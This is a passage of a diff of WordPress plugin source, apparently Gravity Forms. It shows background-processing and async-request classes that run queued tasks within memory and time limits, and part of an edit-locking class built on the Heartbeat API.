$value = maybe_unserialize( $query->$value_column );
|
||||
$batch->data = $value['data'];
|
||||
$batch->blog_id = $value['blog_id'];
|
||||
|
||||
return $batch;
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle
|
||||
*
|
||||
* Pass each queue item to the task handler, while remaining
|
||||
* within server memory and time limit constraints.
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
protected function handle() {
|
||||
$this->lock_process();
|
||||
|
||||
do {
|
||||
$batch = $this->get_batch();
|
||||
|
||||
if ( is_multisite() && get_current_blog_id() !== $batch->blog_id ) {
|
||||
$this->spawn_multisite_child_process( $batch->blog_id );
|
||||
wp_die();
|
||||
}
|
||||
|
||||
GFCommon::log_debug( sprintf( '%s(): Processing batch for %s.', __METHOD__, $this->action ) );
|
||||
|
||||
foreach ( $batch->data as $key => $value ) {
|
||||
|
||||
$task = $this->task( $value );
|
||||
|
||||
if ( $task !== false ) {
|
||||
$batch->data[ $key ] = $task;
|
||||
} else {
|
||||
unset( $batch->data[ $key ] );
|
||||
}
|
||||
|
||||
if ( $task !== false || $this->time_exceeded() || $this->memory_exceeded() ) {
|
||||
// Batch limits reached or task not complete.
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Update or delete current batch.
|
||||
if ( ! empty( $batch->data ) ) {
|
||||
$this->update( $batch->key, $batch->data );
|
||||
} else {
|
||||
$this->delete( $batch->key );
|
||||
}
|
||||
} while ( ! $this->time_exceeded() && ! $this->memory_exceeded() && ! $this->is_queue_empty() );
|
||||
|
||||
GFCommon::log_debug( sprintf( '%s(): Batch completed for %s.', __METHOD__, $this->action ) );
|
||||
|
||||
$this->unlock_process();
|
||||
|
||||
// Start next batch or complete process.
|
||||
if ( ! $this->is_queue_empty() ) {
|
||||
$this->dispatch();
|
||||
} else {
|
||||
$this->complete();
|
||||
}
|
||||
|
||||
wp_die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Spawn a new background process on the multisite that scheduled the current task
|
||||
*
|
||||
* @param int $blog_id
|
||||
*
|
||||
* @since 2.3
|
||||
*/
|
||||
protected function spawn_multisite_child_process( $blog_id ) {
|
||||
GFCommon::log_debug( sprintf( '%s(): Running for blog #%s.', __METHOD__, $blog_id ) );
|
||||
switch_to_blog( $blog_id );
|
||||
$this->query_url = admin_url( 'admin-ajax.php' );
|
||||
$this->unlock_process();
|
||||
$this->dispatch();
|
||||
}
|
||||
|
||||
/**
|
||||
* Memory exceeded
|
||||
*
|
||||
* Ensures the batch process never exceeds 90%
|
||||
* of the maximum WordPress memory.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function memory_exceeded() {
|
||||
$memory_limit = $this->get_memory_limit() * 0.9; // 90% of max memory
|
||||
$current_memory = memory_get_usage( true );
|
||||
$return = false;
|
||||
|
||||
if ( $current_memory >= $memory_limit ) {
|
||||
$return = true;
|
||||
}
|
||||
|
||||
return apply_filters( $this->identifier . '_memory_exceeded', $return );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get memory limit
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @return int
|
||||
*/
|
||||
protected function get_memory_limit() {
|
||||
if ( function_exists( 'ini_get' ) ) {
|
||||
$memory_limit = ini_get( 'memory_limit' );
|
||||
} else {
|
||||
// Sensible default.
|
||||
$memory_limit = '128M';
|
||||
}
|
||||
|
||||
if ( ! $memory_limit || -1 === intval( $memory_limit ) ) {
|
||||
// Unlimited, set to 32GB.
|
||||
$memory_limit = '32000M';
|
||||
}
|
||||
|
||||
return intval( $memory_limit ) * 1024 * 1024;
|
||||
}
|
||||
|
||||
/**
|
||||
* Time exceeded.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* Ensures the batch never exceeds a sensible time limit.
|
||||
* A timeout limit of 30s is common on shared hosting.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function time_exceeded() {
|
||||
$finish = $this->start_time + apply_filters( $this->identifier . '_default_time_limit', 20 ); // 20 seconds
|
||||
$return = false;
|
||||
|
||||
if ( time() >= $finish ) {
|
||||
$return = true;
|
||||
}
|
||||
|
||||
return apply_filters( $this->identifier . '_time_exceeded', $return );
|
||||
}
|
||||
|
||||
/**
|
||||
* Complete.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* Override if applicable, but ensure that the below actions are
|
||||
* performed, or, call parent::complete().
|
||||
*/
|
||||
protected function complete() {
|
||||
// Unschedule the cron healthcheck.
|
||||
$this->clear_scheduled_event();
|
||||
}
|
||||
|
||||
/**
|
||||
* Schedule cron healthcheck
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @access public
|
||||
* @param mixed $schedules Schedules.
|
||||
* @return mixed
|
||||
*/
|
||||
public function schedule_cron_healthcheck( $schedules ) {
|
||||
$interval = apply_filters( $this->identifier . '_cron_interval', 5 );
|
||||
|
||||
if ( property_exists( $this, 'cron_interval' ) ) {
|
||||
$interval = apply_filters( $this->identifier . '_cron_interval', $this->cron_interval_identifier );
|
||||
}
|
||||
|
||||
// Adds every 5 minutes to the existing schedules.
|
||||
$schedules[ $this->identifier . '_cron_interval' ] = array(
|
||||
'interval' => MINUTE_IN_SECONDS * $interval,
|
||||
'display' => sprintf( __( 'Every %d Minutes', 'gravityforms' ), $interval ),
|
||||
);
|
||||
|
||||
return $schedules;
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle cron healthcheck
|
||||
*
|
||||
* Restart the background process if not already running
|
||||
* and data exists in the queue.
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
public function handle_cron_healthcheck() {
|
||||
GFCommon::log_debug( sprintf( '%s(): Running for %s.', __METHOD__, $this->action ) );
|
||||
|
||||
if ( $this->is_process_running() ) {
|
||||
// Background process already running.
|
||||
exit;
|
||||
}
|
||||
|
||||
|
||||
if ( $this->is_queue_empty() ) {
|
||||
// No data to process.
|
||||
$this->clear_scheduled_event();
|
||||
exit;
|
||||
}
|
||||
|
||||
$this->handle();
|
||||
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Schedule event
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
protected function schedule_event() {
|
||||
if ( ! wp_next_scheduled( $this->cron_hook_identifier ) ) {
|
||||
GFCommon::log_debug( sprintf( '%s(): Scheduling cron event for %s.', __METHOD__, $this->action ) );
|
||||
wp_schedule_event( time() + 10, $this->cron_interval_identifier, $this->cron_hook_identifier );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear scheduled event
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
protected function clear_scheduled_event() {
|
||||
$timestamp = wp_next_scheduled( $this->cron_hook_identifier );
|
||||
|
||||
if ( $timestamp ) {
|
||||
GFCommon::log_debug( sprintf( '%s(): Clearing cron event for %s.', __METHOD__, $this->action ) );
|
||||
wp_unschedule_event( $timestamp, $this->cron_hook_identifier );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Clears all scheduled events.
|
||||
*
|
||||
* @since 2.3.1.x
|
||||
*/
|
||||
public function clear_scheduled_events() {
|
||||
wp_clear_scheduled_hook( $this->cron_hook_identifier );
|
||||
}
|
||||
|
||||
/**
|
||||
* Cancel Process
|
||||
*
|
||||
* Stop processing queue items, clear cronjob and delete batch.
|
||||
*
|
||||
* @since 2.2
|
||||
*/
|
||||
public function cancel_process() {
|
||||
if ( ! $this->is_queue_empty() ) {
|
||||
$batch = $this->get_batch();
|
||||
|
||||
$this->delete( $batch->key );
|
||||
$this->clear_scheduled_events();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Clears all batches from the queue.
|
||||
*
|
||||
* @since 2.3
|
||||
*
|
||||
* @param bool $all_blogs_in_network
|
||||
*
|
||||
* @return false|int
|
||||
*/
|
||||
public function clear_queue( $all_blogs_in_network = false ) {
|
||||
global $wpdb;
|
||||
|
||||
$table = $wpdb->options;
|
||||
$column = 'option_name';
|
||||
|
||||
if ( is_multisite() ) {
|
||||
$table = $wpdb->sitemeta;
|
||||
$column = 'meta_key';
|
||||
}
|
||||
|
||||
$key = $this->identifier . '_batch_';
|
||||
|
||||
if ( ! $all_blogs_in_network ) {
|
||||
$key .= 'blog_id_' . get_current_blog_id() . '_';
|
||||
}
|
||||
|
||||
$key = $wpdb->esc_like( $key ) . '%';
|
||||
|
||||
$result = $wpdb->query( $wpdb->prepare( "
|
||||
DELETE FROM {$table}
|
||||
WHERE {$column} LIKE %s
|
||||
", $key ) );
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Task
|
||||
*
|
||||
* Override this method to perform any actions required on each
|
||||
* queue item. Return the modified item for further processing
|
||||
* in the next pass through. Or, return false to remove the
|
||||
* item from the queue.
|
||||
*
|
||||
* @since 2.2
|
||||
*
|
||||
* @param mixed $item Queue item to iterate over.
|
||||
*
|
||||
* @return mixed
|
||||
*/
|
||||
abstract protected function task( $item );
|
||||
|
||||
}
|
||||
}
|
||||
163
includes/libraries/wp-async-request.php
Normal file
163
includes/libraries/wp-async-request.php
Normal file
@@ -0,0 +1,163 @@
|
||||
<?php
|
||||
/**
|
||||
* WP Async Request
|
||||
*
|
||||
* @package WP-Background-Processing
|
||||
*/
|
||||
|
||||
if ( ! class_exists( 'WP_Async_Request' ) ) {
|
||||
|
||||
/**
|
||||
* Abstract WP_Async_Request class.
|
||||
*
|
||||
* @abstract
|
||||
*/
|
||||
abstract class WP_Async_Request {
|
||||
|
||||
/**
|
||||
* Prefix
|
||||
*
|
||||
* (default value: 'wp')
|
||||
*
|
||||
* @var string
|
||||
* @access protected
|
||||
*/
|
||||
protected $prefix = 'wp';
|
||||
|
||||
/**
|
||||
* Action
|
||||
*
|
||||
* (default value: 'async_request')
|
||||
*
|
||||
* @var string
|
||||
* @access protected
|
||||
*/
|
||||
protected $action = 'async_request';
|
||||
|
||||
/**
|
||||
* Identifier
|
||||
*
|
||||
* @var mixed
|
||||
* @access protected
|
||||
*/
|
||||
protected $identifier;
|
||||
|
||||
/**
|
||||
* Data
|
||||
*
|
||||
* (default value: array())
|
||||
*
|
||||
* @var array
|
||||
* @access protected
|
||||
*/
|
||||
protected $data = array();
|
||||
|
||||
/**
|
||||
* Initiate new async request
|
||||
*/
|
||||
public function __construct() {
|
||||
$this->identifier = $this->prefix . '_' . $this->action;
|
||||
|
||||
add_action( 'wp_ajax_' . $this->identifier, array( $this, 'maybe_handle' ) );
|
||||
add_action( 'wp_ajax_nopriv_' . $this->identifier, array( $this, 'maybe_handle' ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Set data used during the request
|
||||
*
|
||||
* @param array $data Data.
|
||||
*
|
||||
* @return $this
|
||||
*/
|
||||
public function data( $data ) {
|
||||
$this->data = $data;
|
||||
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Dispatch the async request
|
||||
*
|
||||
* @return array|WP_Error
|
||||
*/
|
||||
public function dispatch() {
|
||||
$url = add_query_arg( $this->get_query_args(), $this->get_query_url() );
|
||||
$args = $this->get_post_args();
|
||||
|
||||
return wp_remote_post( esc_url_raw( $url ), $args );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get query args
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
protected function get_query_args() {
|
||||
if ( property_exists( $this, 'query_args' ) ) {
|
||||
return $this->query_args;
|
||||
}
|
||||
|
||||
return array(
|
||||
'action' => $this->identifier,
|
||||
'nonce' => wp_create_nonce( $this->identifier ),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get query URL
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected function get_query_url() {
|
||||
if ( property_exists( $this, 'query_url' ) ) {
|
||||
return $this->query_url;
|
||||
}
|
||||
|
||||
return admin_url( 'admin-ajax.php' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Get post args
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
protected function get_post_args() {
|
||||
if ( property_exists( $this, 'post_args' ) ) {
|
||||
return $this->post_args;
|
||||
}
|
||||
|
||||
return array(
|
||||
'timeout' => 0.01,
|
||||
'blocking' => false,
|
||||
'body' => $this->data,
|
||||
'cookies' => $_COOKIE,
|
||||
'sslverify' => apply_filters( 'https_local_ssl_verify', false ),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Maybe handle
|
||||
*
|
||||
* Check for correct nonce and pass to handler.
|
||||
*/
|
||||
public function maybe_handle() {
|
||||
// Don't lock up other requests while processing
|
||||
session_write_close();
|
||||
|
||||
check_ajax_referer( $this->identifier, 'nonce' );
|
||||
|
||||
$this->handle();
|
||||
|
||||
wp_die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle
|
||||
*
|
||||
* Override this method to perform any actions required
|
||||
* during the async request.
|
||||
*/
|
||||
abstract protected function handle();
|
||||
|
||||
}
|
||||
}
|
||||
593
includes/locking/class-gf-locking.php
Normal file
593
includes/locking/class-gf-locking.php
Normal file
@@ -0,0 +1,593 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Handles all tasks related to locking.
|
||||
*
|
||||
* - Loads the WordPress Heartbeat API and scripts & styles for GF Locking
|
||||
* - Provides standardized UX
|
||||
*
|
||||
* @package GFLocking
|
||||
* @author Rocketgenius
|
||||
*/
|
||||
abstract class GFLocking {
|
||||
private $_object_type;
|
||||
private $_object_id;
|
||||
private $_edit_url;
|
||||
private $_redirect_url;
|
||||
private $_capabilities;
|
||||
const PREFIX_EDIT_LOCK = 'lock_';
|
||||
const PREFIX_EDIT_LOCK_REQUEST = 'lock_request_';
|
||||
|
||||
|
||||
public function __construct( $object_type, $redirect_url, $edit_url = '', $capabilities = array() ) {
|
||||
$this->_object_type = $object_type;
|
||||
$this->_redirect_url = $redirect_url;
|
||||
$this->_capabilities = $capabilities;
|
||||
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
||||
$this->init_ajax();
|
||||
} else {
|
||||
$this->register_scripts();
|
||||
$is_locking_page = false;
|
||||
$is_edit_page = false;
|
||||
if ( $this->is_edit_page() ) {
|
||||
$this->init_edit_lock();
|
||||
$is_locking_page = true;
|
||||
$is_edit_page = true;
|
||||
} else if ( $this->is_list_page() ) {
|
||||
$this->init_list_page();
|
||||
$is_locking_page = true;
|
||||
} else if ( $this->is_view_page() ) {
|
||||
$this->init_view_page();
|
||||
$is_locking_page = true;
|
||||
}
|
||||
if ( $is_locking_page ) {
|
||||
$this->_object_id = $this->get_object_id();
|
||||
$this->_edit_url = $edit_url;
|
||||
$this->maybe_lock_object( $is_edit_page );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Override this method to check the condition for the edit page.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function is_edit_page() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Override this method to check the condition for the list page.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function is_list_page() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Override this method to check the condition for the view page.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function is_view_page() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Override this method to provide the class with the correct object id.
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function get_object_id() {
|
||||
$id = rgget( 'id' );
|
||||
$id = absint( $id );
|
||||
return $id; // example in the case of form id
|
||||
}
|
||||
|
||||
public function init_edit_lock() {
|
||||
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
|
||||
}
|
||||
|
||||
public function init_ajax() {
|
||||
add_filter( 'heartbeat_received', array( $this, 'heartbeat_refresh_nonces' ), 10, 3 );
|
||||
add_filter( 'heartbeat_received', array( $this, 'heartbeat_check_locked_objects' ), 10, 3 );
|
||||
add_filter( 'heartbeat_received', array( $this, 'heartbeat_refresh_lock' ), 10, 3 );
|
||||
add_filter( 'heartbeat_received', array( $this, 'heartbeat_request_lock' ), 10, 3 );
|
||||
add_filter( 'wp_ajax_gf_lock_request_' . $this->_object_type, array( $this, 'ajax_lock_request' ) );
|
||||
add_filter( 'wp_ajax_gf_reject_lock_request_' . $this->_object_type, array( $this, 'ajax_reject_lock_request' ) );
|
||||
}
|
||||
|
||||
public function init_list_page() {
|
||||
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_list_scripts' ) );
|
||||
}
|
||||
|
||||
public function init_view_page() {
|
||||
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_view_page_scripts' ) );
|
||||
}
|
||||
|
||||
public function register_scripts() {
|
||||
$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || isset( $_GET['gform_debug'] ) ? '' : '.min';
|
||||
$locking_path = GFCommon::get_base_url() . '/includes/locking/';
|
||||
wp_register_script( 'gforms_locking', $locking_path . "js/locking{$min}.js", array( 'jquery', 'heartbeat' ), GFCommon::$version );
|
||||
wp_register_script( 'gforms_locking_view', $locking_path . "js/locking-view{$min}.js", array( 'jquery', 'heartbeat' ), GFCommon::$version );
|
||||
wp_register_script( 'gforms_locking_list', $locking_path . "js/locking-list{$min}.js", array( 'jquery', 'heartbeat' ), GFCommon::$version );
|
||||
wp_register_style( 'gforms_locking_css', $locking_path . "css/locking{$min}.css", array(), GFCommon::$version );
|
||||
wp_register_style( 'gforms_locking_list_css', $locking_path . "css/locking-list{$min}.css", array(), GFCommon::$version );
|
||||
|
||||
// No conflict scripts
|
||||
add_filter( 'gform_noconflict_scripts', array( $this, 'register_noconflict_scripts' ) );
|
||||
add_filter( 'gform_noconflict_styles', array( $this, 'register_noconflict_styles' ) );
|
||||
}
|
||||
|
||||
public function register_noconflict_scripts( $scripts ) {
|
||||
$locking_scripts = array( 'gforms_locking', 'gforms_locking_list', 'gforms_locking_view' );
|
||||
|
||||
return array_merge( $scripts, $locking_scripts );
|
||||
}
|
||||
|
||||
public function register_noconflict_styles( $styles ) {
|
||||
$locking_styles = array( 'gforms_locking_css', 'gforms_locking_list_css' );
|
||||
|
||||
return array_merge( $styles, $locking_styles );
|
||||
}
|
||||
|
||||
public function enqueue_scripts() {
|
||||
|
||||
|
||||
wp_enqueue_script( 'gforms_locking' );
|
||||
wp_enqueue_style( 'gforms_locking_css' );
|
||||
$lock_user_id = $this->check_lock( $this->get_object_id() );
|
||||
|
||||
$strings = array(
|
||||
'noResponse' => $this->get_string( 'no_response' ),
|
||||
'requestAgain' => $this->get_string( 'request_again' ),
|
||||
'requestError' => $this->get_string( 'request_error' ),
|
||||
'gainedControl' => $this->get_string( 'gained_control' ),
|
||||
'rejected' => $this->get_string( 'request_rejected' ),
|
||||
'pending' => $this->get_string( 'request_pending' )
|
||||
);
|
||||
|
||||
|
||||
$vars = array(
|
||||
'hasLock' => ! $lock_user_id ? 1 : 0,
|
||||
'lockUI' => $this->get_lock_ui( $lock_user_id ),
|
||||
'objectID' => $this->_object_id,
|
||||
'objectType' => $this->_object_type,
|
||||
'strings' => $strings,
|
||||
);
|
||||
|
||||
wp_localize_script( 'gforms_locking', 'gflockingVars', $vars );
|
||||
}
|
||||
|
||||
public function enqueue_list_scripts() {
|
||||
|
||||
wp_enqueue_script( 'gforms_locking_list' );
|
||||
wp_enqueue_style( 'gforms_locking_list_css' );
|
||||
|
||||
$vars = array(
|
||||
'objectType' => $this->_object_type,
|
||||
);
|
||||
|
||||
wp_localize_script( 'gforms_locking_list', 'gflockingVars', $vars );
|
||||
|
||||
}
|
||||
|
||||
public function enqueue_view_page_scripts() {
|
||||
|
||||
wp_enqueue_script( 'gforms_locking_view' );
|
||||
wp_enqueue_style( 'gforms_locking_view_css' );
|
||||
|
||||
$lock_user_id = $this->check_lock( $this->get_object_id() );
|
||||
$vars = array(
|
||||
'hasLock' => ! $lock_user_id ? 1 : 0,
|
||||
'objectID' => $this->_object_id,
|
||||
'objectType' => $this->_object_type,
|
||||
);
|
||||
|
||||
wp_localize_script( 'gforms_locking_view', 'gflockingVars', $vars );
|
||||
}
|
||||
|
||||
|
||||
protected function get_strings() {
|
||||
$strings = array(
|
||||
'currently_locked' => esc_html__( 'This page is currently locked. Click on the "Request Control" button to let %s know you\'d like to take over.', 'gravityforms' ),
|
||||
'accept' => esc_html__( 'Accept', 'gravityforms' ),
|
||||
'cancel' => esc_html__( 'Cancel', 'gravityforms' ),
|
||||
'currently_editing' => esc_html__( '%s is currently editing', 'gravityforms' ),
|
||||
'taken_over' => esc_html__( '%s has taken over and is currently editing.', 'gravityforms' ),
|
||||
'lock_requested' => esc_html__( '%s has requested permission to take over control.', 'gravityforms' ),
|
||||
'gained_control' => esc_html__( 'You now have control', 'gravityforms' ),
|
||||
'request_pending' => esc_html__( 'Pending', 'gravityforms' ),
|
||||
'no_response' => esc_html__( 'No response', 'gravityforms' ),
|
||||
'request_again' => esc_html__( 'Request again', 'gravityforms' ),
|
||||
'request_error' => esc_html__( 'Error', 'gravityforms' ),
|
||||
'request_rejected' => esc_html__( 'Your request was rejected', 'gravityforms' ),
|
||||
);
|
||||
|
||||
return $strings;
|
||||
}
|
||||
|
||||
public function ajax_lock_request() {
|
||||
$object_id = rgget( 'object_id' );
|
||||
$response = $this->request_lock( $object_id );
|
||||
echo json_encode( $response );
|
||||
die();
|
||||
}
|
||||
|
||||
public function ajax_reject_lock_request() {
|
||||
$object_id = rgget( 'object_id' );
|
||||
$response = $this->delete_lock_request_meta( $object_id );
|
||||
echo json_encode( $response );
|
||||
die();
|
||||
}
|
||||
|
||||
protected function has_lock() {
|
||||
return $this->check_lock( $this->get_object_id() ) ? true : false;
|
||||
}
|
||||
|
||||
|
||||
protected function check_lock( $object_id ) {
|
||||
|
||||
if ( ! $user_id = $this->get_lock_meta( $object_id ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if ( $user_id != get_current_user_id() ) {
|
||||
return $user_id;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
protected function check_lock_request( $object_id ) {
|
||||
|
||||
if ( ! $user_id = $this->get_lock_request_meta( $object_id ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if ( $user_id != get_current_user_id() ) {
|
||||
return $user_id;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
protected function set_lock( $object_id ) {
|
||||
if ( ! GFCommon::current_user_can_any( $this->_capabilities ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if ( 0 == ( $user_id = get_current_user_id() ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$this->update_lock_meta( $object_id, $user_id );
|
||||
|
||||
return $user_id;
|
||||
}
|
||||
|
||||
protected function request_lock( $object_id ) {
|
||||
if ( 0 == ( $user_id = get_current_user_id() ) ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$lock_holder_user_id = $this->check_lock( $object_id );
|
||||
|
||||
$result = array();
|
||||
if ( ! $lock_holder_user_id ) {
|
||||
$this->set_lock( $object_id );
|
||||
$result['html'] = __( 'You now have control', 'gravityforms' );
|
||||
$result['status'] = 'lock_obtained';
|
||||
} else {
|
||||
$user = get_userdata( $lock_holder_user_id );
|
||||
$this->update_lock_request_meta( $object_id, $user_id );
|
||||
$result['html'] = sprintf( __( 'Your request has been sent to %s.', 'gravityforms' ), $user->display_name );
|
||||
$result['status'] = 'lock_requested';
|
||||
}
|
||||
|
||||
return $result;
|
||||
}
|
||||
|
||||
protected function get_lock_request_meta( $object_id ) {
|
||||
return GFCache::get( self::PREFIX_EDIT_LOCK_REQUEST . $this->_object_type . '_' . $object_id );
|
||||
}
|
||||
|
||||
protected function get_lock_meta( $object_id ) {
|
||||
return GFCache::get( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id );
|
||||
}
|
||||
|
||||
protected function update_lock_meta( $object_id, $lock_value ) {
|
||||
GFCache::set( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id, $lock_value, true, 150 );
|
||||
}
|
||||
|
||||
protected function update_lock_request_meta( $object_id, $lock_request_value ) {
|
||||
GFCache::set( self::PREFIX_EDIT_LOCK_REQUEST . $this->_object_type . '_' . $object_id, $lock_request_value, true, 120 );
|
||||
}
|
||||
|
||||
protected function delete_lock_request_meta( $object_id ) {
|
||||
GFCache::delete( self::PREFIX_EDIT_LOCK_REQUEST . $this->_object_type . '_' . $object_id );
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
protected function delete_lock_meta( $object_id ) {
|
||||
GFCache::delete( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id );
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function maybe_lock_object( $is_edit_page ) {
|
||||
if ( isset( $_GET['get-edit-lock'] ) ) {
|
||||
$this->set_lock( $this->_object_id );
|
||||
wp_safe_redirect( $this->_edit_url );
|
||||
exit();
|
||||
} else if ( isset( $_GET['release-edit-lock'] ) ) {
|
||||
$this->delete_lock_meta( $this->_object_id );
|
||||
wp_safe_redirect( $this->_redirect_url );
|
||||
exit();
|
||||
} else {
|
||||
if ( $is_edit_page && ! $user_id = $this->check_lock( $this->_object_id ) ) {
|
||||
$this->set_lock( $this->_object_id );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public function heartbeat_check_locked_objects( $response, $data, $screen_id ) {
|
||||
$checked = array();
|
||||
$heartbeat_key = 'gform-check-locked-objects-' . $this->_object_type;
|
||||
if ( array_key_exists( $heartbeat_key, $data ) && is_array( $data[ $heartbeat_key ] ) ) {
|
||||
foreach ( $data[ $heartbeat_key ] as $object_id ) {
|
||||
if ( ( $user_id = $this->check_lock( $object_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
|
||||
$send = array( 'text' => sprintf( __( $this->get_string( 'currently_editing' ) ), $user->display_name ) );
|
||||
|
||||
if ( ( $avatar = get_avatar( $user->ID, 18 ) ) && preg_match( "|src='([^']+)'|", $avatar, $matches ) ) {
|
||||
$send['avatar_src'] = $matches[1];
|
||||
}
|
||||
|
||||
$checked[ $object_id ] = $send;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! empty( $checked ) ) {
|
||||
$response[ $heartbeat_key ] = $checked;
|
||||
}
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
public function heartbeat_refresh_lock( $response, $data, $screen_id ) {
|
||||
$heartbeat_key = 'gform-refresh-lock-' . $this->_object_type;
|
||||
if ( array_key_exists( $heartbeat_key, $data ) ) {
|
||||
$received = $data[ $heartbeat_key ];
|
||||
$send = array();
|
||||
|
||||
if ( ! isset( $received['objectID'] ) ) {
|
||||
return $response;
|
||||
}
|
||||
|
||||
$object_id = $received['objectID'];
|
||||
|
||||
if ( ( $user_id = $this->check_lock( $object_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
|
||||
$error = array(
|
||||
'text' => sprintf( __( $this->get_string( 'taken_over' ) ), $user->display_name )
|
||||
);
|
||||
|
||||
if ( $avatar = get_avatar( $user->ID, 64 ) ) {
|
||||
if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) ) {
|
||||
$error['avatar_src'] = $matches[1];
|
||||
}
|
||||
}
|
||||
|
||||
$send['lock_error'] = $error;
|
||||
} else {
|
||||
if ( $new_lock = $this->set_lock( $object_id ) ) {
|
||||
$send['new_lock'] = $new_lock;
|
||||
|
||||
if ( ( $lock_requester = $this->check_lock_request( $object_id ) ) && ( $user = get_userdata( $lock_requester ) ) ) {
|
||||
$lock_request = array(
|
||||
'text' => sprintf( __( $this->get_string( 'lock_requested' ) ), $user->display_name )
|
||||
);
|
||||
|
||||
if ( $avatar = get_avatar( $user->ID, 64 ) ) {
|
||||
if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) ) {
|
||||
$lock_request['avatar_src'] = $matches[1];
|
||||
}
|
||||
}
|
||||
$send['lock_request'] = $lock_request;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$response[ $heartbeat_key ] = $send;
|
||||
}
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
public function heartbeat_request_lock( $response, $data, $screen_id ) {
|
||||
$heartbeat_key = 'gform-request-lock-' . $this->_object_type;
|
||||
if ( array_key_exists( $heartbeat_key, $data ) ) {
|
||||
$received = $data[ $heartbeat_key ];
|
||||
$send = array();
|
||||
|
||||
if ( ! isset( $received['objectID'] ) ) {
|
||||
return $response;
|
||||
}
|
||||
|
||||
$object_id = $received['objectID'];
|
||||
|
||||
if ( ( $user_id = $this->check_lock( $object_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
|
||||
if ( $this->get_lock_request_meta( $object_id ) ) {
|
||||
$send['status'] = 'pending';
|
||||
} else {
|
||||
$send['status'] = 'deleted';
|
||||
}
|
||||
} else {
|
||||
if ( $new_lock = $this->set_lock( $object_id ) ) {
|
||||
$send['status'] = 'granted';
|
||||
}
|
||||
}
|
||||
|
||||
$response[ $heartbeat_key ] = $send;
|
||||
}
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
|
||||
public function heartbeat_refresh_nonces( $response, $data, $screen_id ) {
|
||||
if ( array_key_exists( 'gform-refresh-nonces', $data ) ) {
|
||||
$received = $data['gform-refresh-nonces'];
|
||||
$response['gform-refresh-nonces'] = array( 'check' => 1 );
|
||||
|
||||
if ( ! isset( $received['objectID'] ) ) {
|
||||
return $response;
|
||||
}
|
||||
|
||||
$object_id = $received['objectID'];
|
||||
|
||||
if ( ! GFCommon::current_user_can_any( $this->_capabilities ) || empty( $received['post_nonce'] ) ) {
|
||||
return $response;
|
||||
}
|
||||
|
||||
if ( 2 === wp_verify_nonce( $received['object_nonce'], 'update-contact_' . $object_id ) ) {
|
||||
